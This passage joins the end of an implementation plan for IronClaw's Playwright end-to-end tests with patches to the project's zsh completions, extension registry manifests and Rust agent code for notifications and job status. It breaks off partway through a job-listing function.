git add .github/workflows/e2e.yml
git commit -m "ci: add weekly E2E test workflow with Playwright"
```
---
### Task 9: README
**Files:**
- Create: `tests/e2e/README.md`
**Step 1: Write the README**
```markdown
# IronClaw E2E Tests
Browser-level end-to-end tests for the IronClaw web gateway using Python + Playwright.
## Prerequisites
- Python 3.11+
- Rust toolchain (for building ironclaw)
- Chromium (installed via Playwright)
## Setup
```bash
cd tests/e2e
pip install -e .
playwright install chromium
```
## Build ironclaw
The tests need the ironclaw binary built with libsql support:
```bash
cargo build --no-default-features --features libsql
```
## Run tests
```bash
# From repo root
pytest tests/e2e/ -v
# Run a single scenario
pytest tests/e2e/scenarios/test_chat.py -v
# With visible browser (not headless)
HEADED=1 pytest tests/e2e/scenarios/test_connection.py -v
```
## Architecture
Tests start two subprocesses:
1. **Mock LLM** (`mock_llm.py`) -- fake OpenAI-compat server with canned responses
2. **IronClaw** -- the real binary with gateway enabled, pointing to the mock LLM
Then Playwright drives a headless Chromium browser against the gateway, making DOM assertions.
## Scenarios
| File | What it tests |
|------|--------------|
| `test_connection.py` | Auth, tab navigation, connection status |
| `test_chat.py` | Send message, SSE streaming, response rendering |
| `test_skills.py` | ClawHub search, skill install/remove |
## Adding new scenarios
1. Create `tests/e2e/scenarios/test_<name>.py`
2. Use the `page` fixture for a fresh browser page
3. Use selectors from `helpers.py` (update `SEL` dict if new elements are needed)
4. Keep tests deterministic -- use the mock LLM, not real providers
```
**Step 2: Commit**
```bash
git add tests/e2e/README.md
git commit -m "docs: E2E test README with setup and usage instructions"
```
---
### Task 10: Integration test -- run all scenarios end-to-end
**Step 1: Build ironclaw**
```bash
cargo build --no-default-features --features libsql
```
**Step 2: Run the full E2E suite**
```bash
pytest tests/e2e/ -v --timeout=120
```
Expected: All tests in `test_connection.py` and `test_chat.py` pass. `test_skills.py` tests pass or skip (if ClawHub is unreachable).
**Step 3: Fix any issues discovered during the run**
Common issues to watch for:
- Port conflicts: change `MOCK_LLM_PORT` or `GATEWAY_PORT` in conftest.py
- Timing: increase wait timeouts if SSE streaming is slow
- Selectors: update `SEL` dict in helpers.py if frontend elements changed
- Onboarding wizard: ensure `ONBOARD_COMPLETED=true` prevents wizard from blocking
**Step 4: Final commit with any fixes**
```bash
git add -A tests/e2e/
git commit -m "fix: E2E test adjustments from integration run"
```
---
## Summary
| Task | Files | Description |
|------|-------|-------------|
| 1 | pyproject.toml, __init__.py | Project scaffolding |
| 2 | mock_llm.py | Mock OpenAI-compat server |
| 3 | helpers.py | Selectors and utilities |
| 4 | conftest.py | pytest fixtures |
| 5 | test_connection.py | Scenario 1: connection/tabs |
| 6 | test_chat.py | Scenario 2: chat round-trip |
| 7 | test_skills.py | Scenario 3: skills lifecycle |
| 8 | e2e.yml | CI workflow |
| 9 | README.md | Documentation |
| 10 | (integration run) | Verify everything works |
+303 -45
View File
@@ -22,8 +22,8 @@ _ironclaw() {
'--cli-only[Run in interactive CLI mode only (disable other channels)]' \
'--no-db[Skip database connection (for testing)]' \
'--no-onboard[Skip first-run onboarding check]' \
'-h[Print help]' \
'--help[Print help]' \
'-h[Print help (see more with '\''--help'\'')]' \
'--help[Print help (see more with '\''--help'\'')]' \
'-V[Print version]' \
'--version[Print version]' \
":: :_ironclaw_commands" \
@@ -44,8 +44,8 @@ _arguments "${_arguments_options[@]}" : \
'--cli-only[Run in interactive CLI mode only (disable other channels)]' \
'--no-db[Skip database connection (for testing)]' \
'--no-onboard[Skip first-run onboarding check]' \
'-h[Print help]' \
'--help[Print help]' \
'-h[Print help (see more with '\''--help'\'')]' \
'--help[Print help (see more with '\''--help'\'')]' \
&& ret=0
;;
(onboard)
@@ -59,8 +59,8 @@ _arguments "${_arguments_options[@]}" : \
'--cli-only[Run in interactive CLI mode only (disable other channels)]' \
'--no-db[Skip database connection (for testing)]' \
'--no-onboard[Skip first-run onboarding check]' \
'-h[Print help]' \
'--help[Print help]' \
'-h[Print help (see more with '\''--help'\'')]' \
'--help[Print help (see more with '\''--help'\'')]' \
&& ret=0
;;
(config)
@@ -72,8 +72,8 @@ _arguments "${_arguments_options[@]}" : \
'--cli-only[Run in interactive CLI mode only (disable other channels)]' \
'--no-db[Skip database connection (for testing)]' \
'--no-onboard[Skip first-run onboarding check]' \
'-h[Print help]' \
'--help[Print help]' \
'-h[Print help (see more with '\''--help'\'')]' \
'--help[Print help (see more with '\''--help'\'')]' \
":: :_ironclaw__config_commands" \
"*::: :->config" \
&& ret=0
@@ -228,8 +228,8 @@ _arguments "${_arguments_options[@]}" : \
'--cli-only[Run in interactive CLI mode only (disable other channels)]' \
'--no-db[Skip database connection (for testing)]' \
'--no-onboard[Skip first-run onboarding check]' \
'-h[Print help]' \
'--help[Print help]' \
'-h[Print help (see more with '\''--help'\'')]' \
'--help[Print help (see more with '\''--help'\'')]' \
":: :_ironclaw__tool_commands" \
"*::: :->tool" \
&& ret=0
@@ -374,7 +374,47 @@ esac
;;
esac
;;
(mcp)
(registry)
_arguments "${_arguments_options[@]}" : \
'-m+[Single message mode - send one message and exit]:MESSAGE:_default' \
'--message=[Single message mode - send one message and exit]:MESSAGE:_default' \
'-c+[Configuration file path (optional, uses env vars by default)]:CONFIG:_files' \
'--config=[Configuration file path (optional, uses env vars by default)]:CONFIG:_files' \
'--cli-only[Run in interactive CLI mode only (disable other channels)]' \
'--no-db[Skip database connection (for testing)]' \
'--no-onboard[Skip first-run onboarding check]' \
'-h[Print help (see more with '\''--help'\'')]' \
'--help[Print help (see more with '\''--help'\'')]' \
":: :_ironclaw__registry_commands" \
"*::: :->registry" \
&& ret=0
case $state in
(registry)
words=($line[1] "${words[@]}")
(( CURRENT += 1 ))
curcontext="${curcontext%:*:*}:ironclaw-registry-command-$line[1]:"
case $line[1] in
(list)
_arguments "${_arguments_options[@]}" : \
'-k+[Filter by kind\: "tool" or "channel"]:KIND:_default' \
'--kind=[Filter by kind\: "tool" or "channel"]:KIND:_default' \
'-t+[Filter by tag (e.g. "default", "google", "messaging")]:TAG:_default' \
'--tag=[Filter by tag (e.g. "default", "google", "messaging")]:TAG:_default' \
'-m+[Single message mode - send one message and exit]:MESSAGE:_default' \
'--message=[Single message mode - send one message and exit]:MESSAGE:_default' \
'-c+[Configuration file path (optional, uses env vars by default)]:CONFIG:_files' \
'--config=[Configuration file path (optional, uses env vars by default)]:CONFIG:_files' \
'-v[Show detailed information]' \
'--verbose[Show detailed information]' \
'--cli-only[Run in interactive CLI mode only (disable other channels)]' \
'--no-db[Skip database connection (for testing)]' \
'--no-onboard[Skip first-run onboarding check]' \
'-h[Print help]' \
'--help[Print help]' \
&& ret=0
;;
(info)
_arguments "${_arguments_options[@]}" : \
'-m+[Single message mode - send one message and exit]:MESSAGE:_default' \
'--message=[Single message mode - send one message and exit]:MESSAGE:_default' \
@@ -385,6 +425,93 @@ _arguments "${_arguments_options[@]}" : \
'--no-onboard[Skip first-run onboarding check]' \
'-h[Print help]' \
'--help[Print help]' \
':name -- Extension or bundle name (e.g. "slack", "google", "tools/gmail"):_default' \
&& ret=0
;;
(install)
_arguments "${_arguments_options[@]}" : \
'-m+[Single message mode - send one message and exit]:MESSAGE:_default' \
'--message=[Single message mode - send one message and exit]:MESSAGE:_default' \
'-c+[Configuration file path (optional, uses env vars by default)]:CONFIG:_files' \
'--config=[Configuration file path (optional, uses env vars by default)]:CONFIG:_files' \
'-f[Force overwrite if already installed]' \
'--force[Force overwrite if already installed]' \
'--build[Build from source instead of downloading pre-built artifact]' \
'--cli-only[Run in interactive CLI mode only (disable other channels)]' \
'--no-db[Skip database connection (for testing)]' \
'--no-onboard[Skip first-run onboarding check]' \
'-h[Print help]' \
'--help[Print help]' \
':name -- Extension or bundle name (e.g. "slack", "google", "default"):_default' \
&& ret=0
;;
(install-defaults)
_arguments "${_arguments_options[@]}" : \
'-m+[Single message mode - send one message and exit]:MESSAGE:_default' \
'--message=[Single message mode - send one message and exit]:MESSAGE:_default' \
'-c+[Configuration file path (optional, uses env vars by default)]:CONFIG:_files' \
'--config=[Configuration file path (optional, uses env vars by default)]:CONFIG:_files' \
'-f[Force overwrite if already installed]' \
'--force[Force overwrite if already installed]' \
'--build[Build from source instead of downloading pre-built artifact]' \
'--cli-only[Run in interactive CLI mode only (disable other channels)]' \
'--no-db[Skip database connection (for testing)]' \
'--no-onboard[Skip first-run onboarding check]' \
'-h[Print help]' \
'--help[Print help]' \
&& ret=0
;;
(help)
_arguments "${_arguments_options[@]}" : \
":: :_ironclaw__registry__help_commands" \
"*::: :->help" \
&& ret=0
case $state in
(help)
words=($line[1] "${words[@]}")
(( CURRENT += 1 ))
curcontext="${curcontext%:*:*}:ironclaw-registry-help-command-$line[1]:"
case $line[1] in
(list)
_arguments "${_arguments_options[@]}" : \
&& ret=0
;;
(info)
_arguments "${_arguments_options[@]}" : \
&& ret=0
;;
(install)
_arguments "${_arguments_options[@]}" : \
&& ret=0
;;
(install-defaults)
_arguments "${_arguments_options[@]}" : \
&& ret=0
;;
(help)
_arguments "${_arguments_options[@]}" : \
&& ret=0
;;
esac
;;
esac
;;
esac
;;
esac
;;
(mcp)
_arguments "${_arguments_options[@]}" : \
'-m+[Single message mode - send one message and exit]:MESSAGE:_default' \
'--message=[Single message mode - send one message and exit]:MESSAGE:_default' \
'-c+[Configuration file path (optional, uses env vars by default)]:CONFIG:_files' \
'--config=[Configuration file path (optional, uses env vars by default)]:CONFIG:_files' \
'--cli-only[Run in interactive CLI mode only (disable other channels)]' \
'--no-db[Skip database connection (for testing)]' \
'--no-onboard[Skip first-run onboarding check]' \
'-h[Print help (see more with '\''--help'\'')]' \
'--help[Print help (see more with '\''--help'\'')]' \
":: :_ironclaw__mcp_commands" \
"*::: :->mcp" \
&& ret=0
@@ -549,8 +676,8 @@ _arguments "${_arguments_options[@]}" : \
'--cli-only[Run in interactive CLI mode only (disable other channels)]' \
'--no-db[Skip database connection (for testing)]' \
'--no-onboard[Skip first-run onboarding check]' \
'-h[Print help]' \
'--help[Print help]' \
'-h[Print help (see more with '\''--help'\'')]' \
'--help[Print help (see more with '\''--help'\'')]' \
":: :_ironclaw__memory_commands" \
"*::: :->memory" \
&& ret=0
@@ -690,8 +817,8 @@ _arguments "${_arguments_options[@]}" : \
'--cli-only[Run in interactive CLI mode only (disable other channels)]' \
'--no-db[Skip database connection (for testing)]' \
'--no-onboard[Skip first-run onboarding check]' \
'-h[Print help]' \
'--help[Print help]' \
'-h[Print help (see more with '\''--help'\'')]' \
'--help[Print help (see more with '\''--help'\'')]' \
":: :_ironclaw__pairing_commands" \
"*::: :->pairing" \
&& ret=0
@@ -773,8 +900,8 @@ _arguments "${_arguments_options[@]}" : \
'--cli-only[Run in interactive CLI mode only (disable other channels)]' \
'--no-db[Skip database connection (for testing)]' \
'--no-onboard[Skip first-run onboarding check]' \
'-h[Print help]' \
'--help[Print help]' \
'-h[Print help (see more with '\''--help'\'')]' \
'--help[Print help (see more with '\''--help'\'')]' \
":: :_ironclaw__service_commands" \
"*::: :->service" \
&& ret=0
@@ -903,8 +1030,8 @@ _arguments "${_arguments_options[@]}" : \
'--cli-only[Run in interactive CLI mode only (disable other channels)]' \
'--no-db[Skip database connection (for testing)]' \
'--no-onboard[Skip first-run onboarding check]' \
'-h[Print help]' \
'--help[Print help]' \
'-h[Print help (see more with '\''--help'\'')]' \
'--help[Print help (see more with '\''--help'\'')]' \
&& ret=0
;;
(status)
@@ -916,13 +1043,13 @@ _arguments "${_arguments_options[@]}" : \
'--cli-only[Run in interactive CLI mode only (disable other channels)]' \
'--no-db[Skip database connection (for testing)]' \
'--no-onboard[Skip first-run onboarding check]' \
'-h[Print help]' \
'--help[Print help]' \
'-h[Print help (see more with '\''--help'\'')]' \
'--help[Print help (see more with '\''--help'\'')]' \
&& ret=0
;;
(completion)
_arguments "${_arguments_options[@]}" : \
'--shell=[The shell to generate completions for]:SHELL:(bash zsh fish powershell elvish)' \
'--shell=[The shell to generate completions for]:SHELL:(bash elvish fish powershell zsh)' \
'-m+[Single message mode - send one message and exit]:MESSAGE:_default' \
'--message=[Single message mode - send one message and exit]:MESSAGE:_default' \
'-c+[Configuration file path (optional, uses env vars by default)]:CONFIG:_files' \
@@ -930,8 +1057,8 @@ _arguments "${_arguments_options[@]}" : \
'--cli-only[Run in interactive CLI mode only (disable other channels)]' \
'--no-db[Skip database connection (for testing)]' \
'--no-onboard[Skip first-run onboarding check]' \
'-h[Print help]' \
'--help[Print help]' \
'-h[Print help (see more with '\''--help'\'')]' \
'--help[Print help (see more with '\''--help'\'')]' \
&& ret=0
;;
(worker)
@@ -1063,6 +1190,38 @@ _arguments "${_arguments_options[@]}" : \
;;
esac
;;
(registry)
_arguments "${_arguments_options[@]}" : \
":: :_ironclaw__help__registry_commands" \
"*::: :->registry" \
&& ret=0
case $state in
(registry)
words=($line[1] "${words[@]}")
(( CURRENT += 1 ))
curcontext="${curcontext%:*:*}:ironclaw-help-registry-command-$line[1]:"
case $line[1] in
(list)
_arguments "${_arguments_options[@]}" : \
&& ret=0
;;
(info)
_arguments "${_arguments_options[@]}" : \
&& ret=0
;;
(install)
_arguments "${_arguments_options[@]}" : \
&& ret=0
;;
(install-defaults)
_arguments "${_arguments_options[@]}" : \
&& ret=0
;;
esac
;;
esac
;;
(mcp)
_arguments "${_arguments_options[@]}" : \
":: :_ironclaw__help__mcp_commands" \
@@ -1235,17 +1394,18 @@ esac
(( $+functions[_ironclaw_commands] )) ||
_ironclaw_commands() {
local commands; commands=(
'run:Run the agent (default if no subcommand given)' \
'onboard:Interactive onboarding wizard' \
'config:Manage configuration settings' \
'run:Run the AI agent' \
'onboard:Run interactive setup wizard' \
'config:Manage app configs' \
'tool:Manage WASM tools' \
'mcp:Manage MCP servers (hosted tool providers)' \
'memory:Query and manage workspace memory' \
'pairing:DM pairing (approve inbound requests from unknown senders)' \
'service:Manage OS service (launchd / systemd)' \
'doctor:Probe external dependencies and validate configuration' \
'status:Show system health and diagnostics' \
'completion:Generate shell completion scripts' \
'registry:Browse/install extensions' \
'mcp:Manage MCP servers' \
'memory:Manage workspace memory' \
'pairing:Manage DM pairing' \
'service:Manage OS service' \
'doctor:Run diagnostics' \
'status:Show system status' \
'completion:Generate completions' \
'worker:Run as a sandboxed worker inside a Docker container (internal use). This is invoked automatically by the orchestrator, not by users directly' \
'claude-bridge:Run as a Claude Code bridge inside a Docker container (internal use). Spawns the \`claude\` CLI and streams output back to the orchestrator' \
'help:Print this message or the help of the given subcommand(s)' \
@@ -1361,17 +1521,18 @@ _ironclaw__doctor_commands() {
(( $+functions[_ironclaw__help_commands] )) ||
_ironclaw__help_commands() {
local commands; commands=(
'run:Run the agent (default if no subcommand given)' \
'onboard:Interactive onboarding wizard' \
'config:Manage configuration settings' \
'run:Run the AI agent' \
'onboard:Run interactive setup wizard' \
'config:Manage app configs' \
'tool:Manage WASM tools' \
'mcp:Manage MCP servers (hosted tool providers)' \
'memory:Query and manage workspace memory' \
'pairing:DM pairing (approve inbound requests from unknown senders)' \
'service:Manage OS service (launchd / systemd)' \
'doctor:Probe external dependencies and validate configuration' \
'status:Show system health and diagnostics' \
'completion:Generate shell completion scripts' \
'registry:Browse/install extensions' \
'mcp:Manage MCP servers' \
'memory:Manage workspace memory' \
'pairing:Manage DM pairing' \
'service:Manage OS service' \
'doctor:Run diagnostics' \
'status:Show system status' \
'completion:Generate completions' \
'worker:Run as a sandboxed worker inside a Docker container (internal use). This is invoked automatically by the orchestrator, not by users directly' \
'claude-bridge:Run as a Claude Code bridge inside a Docker container (internal use). Spawns the \`claude\` CLI and streams output back to the orchestrator' \
'help:Print this message or the help of the given subcommand(s)' \
@@ -1541,6 +1702,36 @@ _ironclaw__help__pairing__list_commands() {
local commands; commands=()
_describe -t commands 'ironclaw help pairing list commands' commands "$@"
}
(( $+functions[_ironclaw__help__registry_commands] )) ||
_ironclaw__help__registry_commands() {
local commands; commands=(
'list:List available extensions in the registry' \
'info:Show detailed information about an extension or bundle' \
'install:Install an extension or bundle from the registry' \
'install-defaults:Install the default bundle of recommended extensions' \
)
_describe -t commands 'ironclaw help registry commands' commands "$@"
}
(( $+functions[_ironclaw__help__registry__info_commands] )) ||
_ironclaw__help__registry__info_commands() {
local commands; commands=()
_describe -t commands 'ironclaw help registry info commands' commands "$@"
}
(( $+functions[_ironclaw__help__registry__install_commands] )) ||
_ironclaw__help__registry__install_commands() {
local commands; commands=()
_describe -t commands 'ironclaw help registry install commands' commands "$@"
}
(( $+functions[_ironclaw__help__registry__install-defaults_commands] )) ||
_ironclaw__help__registry__install-defaults_commands() {
local commands; commands=()
_describe -t commands 'ironclaw help registry install-defaults commands' commands "$@"
}
(( $+functions[_ironclaw__help__registry__list_commands] )) ||
_ironclaw__help__registry__list_commands() {
local commands; commands=()
_describe -t commands 'ironclaw help registry list commands' commands "$@"
}
(( $+functions[_ironclaw__help__run_commands] )) ||
_ironclaw__help__run_commands() {
local commands; commands=()
@@ -1846,6 +2037,73 @@ _ironclaw__pairing__list_commands() {
local commands; commands=()
_describe -t commands 'ironclaw pairing list commands' commands "$@"
}
(( $+functions[_ironclaw__registry_commands] )) ||
_ironclaw__registry_commands() {
local commands; commands=(
'list:List available extensions in the registry' \
'info:Show detailed information about an extension or bundle' \
'install:Install an extension or bundle from the registry' \
'install-defaults:Install the default bundle of recommended extensions' \
'help:Print this message or the help of the given subcommand(s)' \
)
_describe -t commands 'ironclaw registry commands' commands "$@"
}
(( $+functions[_ironclaw__registry__help_commands] )) ||
_ironclaw__registry__help_commands() {
local commands; commands=(
'list:List available extensions in the registry' \
'info:Show detailed information about an extension or bundle' \
'install:Install an extension or bundle from the registry' \
'install-defaults:Install the default bundle of recommended extensions' \
'help:Print this message or the help of the given subcommand(s)' \
)
_describe -t commands 'ironclaw registry help commands' commands "$@"
}
(( $+functions[_ironclaw__registry__help__help_commands] )) ||
_ironclaw__registry__help__help_commands() {
local commands; commands=()
_describe -t commands 'ironclaw registry help help commands' commands "$@"
}
(( $+functions[_ironclaw__registry__help__info_commands] )) ||
_ironclaw__registry__help__info_commands() {
local commands; commands=()
_describe -t commands 'ironclaw registry help info commands' commands "$@"
}
(( $+functions[_ironclaw__registry__help__install_commands] )) ||
_ironclaw__registry__help__install_commands() {
local commands; commands=()
_describe -t commands 'ironclaw registry help install commands' commands "$@"
}
(( $+functions[_ironclaw__registry__help__install-defaults_commands] )) ||
_ironclaw__registry__help__install-defaults_commands() {
local commands; commands=()
_describe -t commands 'ironclaw registry help install-defaults commands' commands "$@"
}
(( $+functions[_ironclaw__registry__help__list_commands] )) ||
_ironclaw__registry__help__list_commands() {
local commands; commands=()
_describe -t commands 'ironclaw registry help list commands' commands "$@"
}
(( $+functions[_ironclaw__registry__info_commands] )) ||
_ironclaw__registry__info_commands() {
local commands; commands=()
_describe -t commands 'ironclaw registry info commands' commands "$@"
}
(( $+functions[_ironclaw__registry__install_commands] )) ||
_ironclaw__registry__install_commands() {
local commands; commands=()
_describe -t commands 'ironclaw registry install commands' commands "$@"
}
(( $+functions[_ironclaw__registry__install-defaults_commands] )) ||
_ironclaw__registry__install-defaults_commands() {
local commands; commands=()
_describe -t commands 'ironclaw registry install-defaults commands' commands "$@"
}
(( $+functions[_ironclaw__registry__list_commands] )) ||
_ironclaw__registry__list_commands() {
local commands; commands=()
_describe -t commands 'ironclaw registry list commands' commands "$@"
}
(( $+functions[_ironclaw__run_commands] )) ||
_ironclaw__run_commands() {
local commands; commands=()
@@ -2023,5 +2281,5 @@ _ironclaw__worker_commands() {
if [ "$funcstack[1]" = "_ironclaw" ]; then
_ironclaw "$@"
else
compdef _ironclaw ironclaw
(( $+functions[compdef] )) && compdef _ironclaw ironclaw
fi
+1 -1
View File
@@ -32,7 +32,7 @@
"tools/gmail",
"tools/google-calendar",
"tools/google-drive",
"tools/slack",
"tools/slack-tool",
"channels/telegram",
"channels/slack"
],
+2 -2
View File
@@ -1,9 +1,9 @@
{
"name": "discord",
"display_name": "Discord",
"display_name": "Discord Channel",
"kind": "channel",
"version": "0.1.0",
"description": "Discord Gateway/Webhook channel for slash commands, buttons, and messages",
"description": "Talk to your agent in Discord",
"keywords": ["messaging", "chat", "discord", "bot"],
"source": {
+2 -2
View File
@@ -1,9 +1,9 @@
{
"name": "slack",
"display_name": "Slack",
"display_name": "Slack Channel",
"kind": "channel",
"version": "0.1.0",
"description": "Slack Events API channel for receiving and responding to Slack messages",
"description": "Talk to your agent in Slack",
"keywords": ["messaging", "chat", "workspace", "slack"],
"source": {
+2 -2
View File
@@ -1,9 +1,9 @@
{
"name": "telegram",
"display_name": "Telegram",
"display_name": "Telegram Channel",
"kind": "channel",
"version": "0.1.0",
"description": "Telegram Bot API channel for receiving and responding to messages",
"description": "Talk to your agent through a Telegram bot",
"keywords": ["messaging", "bot", "chat", "telegram"],
"source": {
+2 -2
View File
@@ -1,9 +1,9 @@
{
"name": "whatsapp",
"display_name": "WhatsApp",
"display_name": "WhatsApp Channel",
"kind": "channel",
"version": "0.1.0",
"description": "WhatsApp Cloud API channel for receiving and responding to messages",
"description": "Talk to your agent through WhatsApp",
"keywords": ["messaging", "chat", "whatsapp", "meta"],
"source": {
+4 -4
View File
@@ -1,9 +1,9 @@
{
"name": "slack",
"display_name": "Slack",
"name": "slack-tool",
"display_name": "Slack Tool",
"kind": "tool",
"version": "0.1.0",
"description": "Post messages, read channels, and manage conversations via Slack API",
"description": "Your agent uses Slack to post and read messages in your workspace",
"keywords": ["messaging", "chat", "workspace"],
"source": {
@@ -14,7 +14,7 @@
"artifacts": {
"wasm32-wasip2": {
"url": "https://github.com/nearai/ironclaw/releases/latest/download/slack-wasm32-wasip2.tar.gz",
"url": "https://github.com/nearai/ironclaw/releases/latest/download/slack-tool-wasm32-wasip2.tar.gz",
"sha256": null
}
},
+4 -4
View File
@@ -1,9 +1,9 @@
{
"name": "telegram",
"display_name": "Telegram",
"name": "telegram-mtproto",
"display_name": "Telegram Tool",
"kind": "tool",
"version": "0.1.0",
"description": "Telegram user-mode integration via MTProto for messages and contacts",
"description": "Your agent uses your Telegram account to read and send messages",
"keywords": ["messaging", "chat", "telegram", "mtproto"],
"source": {
@@ -14,7 +14,7 @@
"artifacts": {
"wasm32-wasip2": {
"url": "https://github.com/nearai/ironclaw/releases/latest/download/telegram-wasm32-wasip2.tar.gz",
"url": "https://github.com/nearai/ironclaw/releases/latest/download/telegram-mtproto-wasm32-wasip2.tar.gz",
"sha256": null
}
},
+31
View File
@@ -0,0 +1,31 @@
{
"name": "web-search",
"display_name": "Web Search",
"kind": "tool",
"version": "0.1.0",
"description": "Search the web using Brave Search API",
"keywords": ["search", "web", "brave", "internet"],
"source": {
"dir": "tools-src/web-search",
"capabilities": "web-search-tool.capabilities.json",
"crate_name": "web-search-tool"
},
"artifacts": {
"wasm32-wasip2": {
"url": "https://github.com/nearai/ironclaw/releases/latest/download/web-search-wasm32-wasip2.tar.gz",
"sha256": null
}
},
"auth_summary": {
"method": "manual",
"provider": "Brave",
"secrets": ["brave_api_key"],
"shared_auth": null,
"setup_url": "https://brave.com/search/api/"
},
"tags": ["default", "search"]
}
+58 -9
View File
@@ -68,6 +68,7 @@ pub struct AgentDeps {
pub workspace: Option<Arc<Workspace>>,
pub extension_manager: Option<Arc<ExtensionManager>>,
pub skill_registry: Option<Arc<std::sync::RwLock<SkillRegistry>>>,
pub skill_catalog: Option<Arc<crate::skills::catalog::SkillCatalog>>,
pub skills_config: SkillsConfig,
pub hooks: Arc<HookRegistry>,
/// Cost enforcement guardrails (daily budget, hourly rate limits).
@@ -137,6 +138,11 @@ impl Agent {
// Convenience accessors
/// Get the scheduler (for external wiring, e.g. CreateJobTool).
pub fn scheduler(&self) -> Arc<Scheduler> {
Arc::clone(&self.scheduler)
}
pub(super) fn store(&self) -> Option<&Arc<dyn Database>> {
self.deps.store.as_ref()
}
@@ -174,6 +180,10 @@ impl Agent {
self.deps.skill_registry.as_ref()
}
pub(super) fn skill_catalog(&self) -> Option<&Arc<crate::skills::catalog::SkillCatalog>> {
self.deps.skill_catalog.as_ref()
}
/// Select active skills for a message using deterministic prefiltering.
pub(super) fn select_active_skills(
&self,
@@ -408,7 +418,7 @@ impl Agent {
// Load initial event cache
engine.refresh_event_cache().await;
// Spawn notification forwarder
// Spawn notification forwarder (mirrors heartbeat pattern)
let channels = self.channels.clone();
tokio::spawn(async move {
while let Some(response) = notify_rx.recv().await {
@@ -418,14 +428,33 @@ impl Agent {
.and_then(|v| v.as_str())
.unwrap_or("default")
.to_string();
let results = channels.broadcast_all(&user, response).await;
for (ch, result) in results {
if let Err(e) = result {
tracing::warn!(
"Failed to broadcast routine notification to {}: {}",
ch,
e
);
let notify_channel = response
.metadata
.get("notify_channel")
.and_then(|v| v.as_str())
.map(|s| s.to_string());
// Try the configured channel first, fall back to
// broadcasting on all channels.
let targeted_ok = if let Some(ref channel) = notify_channel {
channels
.broadcast(channel, &user, response.clone())
.await
.is_ok()
} else {
false
};
if !targeted_ok {
let results = channels.broadcast_all(&user, response).await;
for (ch, result) in results {
if let Err(e) = result {
tracing::warn!(
"Failed to broadcast routine notification to {}: {}",
ch,
e
);
}
}
}
}
@@ -583,6 +612,19 @@ impl Agent {
}
async fn handle_message(&self, message: &IncomingMessage) -> Result<Option<String>, Error> {
// Set message tool context for this turn (current channel and target)
// For Signal, use signal_target from metadata (group:ID or phone number),
// otherwise fall back to user_id
let target = message
.metadata
.get("signal_target")
.and_then(|v| v.as_str())
.map(|s| s.to_string())
.unwrap_or_else(|| message.user_id.clone());
self.tools()
.set_message_tool_context(Some(message.channel.clone()), Some(target))
.await;
// Parse submission type first
let mut submission = SubmissionParser::parse(&message.content);
@@ -680,6 +722,13 @@ impl Agent {
Submission::Heartbeat => self.process_heartbeat().await,
Submission::Summarize => self.process_summarize(session, thread_id).await,
Submission::Suggest => self.process_suggest(session, thread_id).await,
Submission::JobStatus { job_id } => {
self.process_job_status(&message.user_id, job_id.as_deref())
.await
}
Submission::JobCancel { job_id } => {
self.process_job_cancel(&message.user_id, &job_id).await
}
Submission::Quit => return Ok(None),
Submission::SwitchThread { thread_id: target } => {
self.process_switch_thread(message, target).await
+270 -7
View File
@@ -12,9 +12,21 @@ use crate::agent::session::Session;
use crate::agent::submission::SubmissionResult;
use crate::agent::{Agent, MessageIntent};
use crate::channels::{IncomingMessage, StatusUpdate};
use crate::context::JobState;
use crate::error::Error;
use crate::llm::{ChatMessage, Reasoning};
/// Format a count with a suffix, using K/M abbreviations for large numbers.
fn format_count(n: u64, suffix: &str) -> String {
if n >= 1_000_000 {
format!("{:.1}M {}", n as f64 / 1_000_000.0, suffix)
} else if n >= 1_000 {
format!("{:.1}K {}", n as f64 / 1_000.0, suffix)
} else {
format!("{} {}", n, suffix)
}
}
impl Agent {
/// Handle job-related intents without turn tracking.
pub(super) async fn handle_job_or_command(
@@ -106,6 +118,22 @@ impl Agent {
let uuid = Uuid::parse_str(&id)
.map_err(|_| crate::error::JobError::NotFound { id: Uuid::nil() })?;
// Try DB first for persistent state, fall back to ContextManager.
if let Some(store) = self.store()
&& let Ok(Some(ctx)) = store.get_job(uuid).await
{
return Ok(format!(
"Job: {}\nStatus: {:?}\nCreated: {}\nStarted: {}\nActual cost: {}",
ctx.title,
ctx.state,
ctx.created_at.format("%Y-%m-%d %H:%M:%S"),
ctx.started_at
.map(|t| t.format("%Y-%m-%d %H:%M:%S").to_string())
.unwrap_or_else(|| "Not started".to_string()),
ctx.actual_cost
));
}
let ctx = self.context_manager.get_context(uuid).await?;
if ctx.user_id != user_id {
return Err(crate::error::JobError::NotFound { id: uuid }.into());
@@ -123,10 +151,38 @@ impl Agent {
))
}
None => {
// Show summary of all jobs
// Show summary from DB for consistency with Jobs tab.
if let Some(store) = self.store() {
let mut total = 0;
let mut in_progress = 0;
let mut completed = 0;
let mut failed = 0;
let mut stuck = 0;
if let Ok(s) = store.agent_job_summary().await {
total += s.total;
in_progress += s.in_progress;
completed += s.completed;
failed += s.failed;
stuck += s.stuck;
}
if let Ok(s) = store.sandbox_job_summary().await {
total += s.total;
in_progress += s.running;
completed += s.completed;
failed += s.failed + s.interrupted;
}
return Ok(format!(
"Jobs summary: Total: {} In Progress: {} Completed: {} Failed: {} Stuck: {}",
total, in_progress, completed, failed, stuck
));
}
// Fallback to ContextManager if no DB.
let summary = self.context_manager.summary_for(user_id).await;
Ok(format!(
"Jobs summary:\n Total: {}\n In Progress: {}\n Completed: {}\n Failed: {}\n Stuck: {}",
"Jobs summary: Total: {} In Progress: {} Completed: {} Failed: {} Stuck: {}",
summary.total,
summary.in_progress,
summary.completed,
@@ -148,6 +204,15 @@ impl Agent {
self.scheduler.stop(uuid).await?;
// Also update DB so the Jobs tab reflects cancellation immediately.
if let Some(store) = self.store()
&& let Err(e) = store
.update_job_status(uuid, JobState::Cancelled, Some("Cancelled by user"))
.await
{
tracing::warn!(job_id = %uuid, "Failed to persist cancellation to DB: {}", e);
}
Ok(format!("Job {} has been cancelled.", job_id))
}
@@ -156,21 +221,49 @@ impl Agent {
user_id: &str,
_filter: Option<String>,
) -> Result<String, Error> {
let jobs = self.context_manager.all_jobs_for(user_id).await;
// List from DB for consistency with Jobs tab.
if let Some(store) = self.store() {
let agent_jobs = match store.list_agent_jobs().await {
Ok(jobs) => jobs,
Err(e) => {
tracing::warn!("Failed to list agent jobs: {}", e);
Vec::new()
}
};
let sandbox_jobs = match store.list_sandbox_jobs().await {
Ok(jobs) => jobs,
Err(e) => {
tracing::warn!("Failed to list sandbox jobs: {}", e);
Vec::new()
}
};
if agent_jobs.is_empty() && sandbox_jobs.is_empty() {
return Ok("No jobs found.".to_string());
}
let mut output = String::from("Jobs:\n");
for j in &agent_jobs {
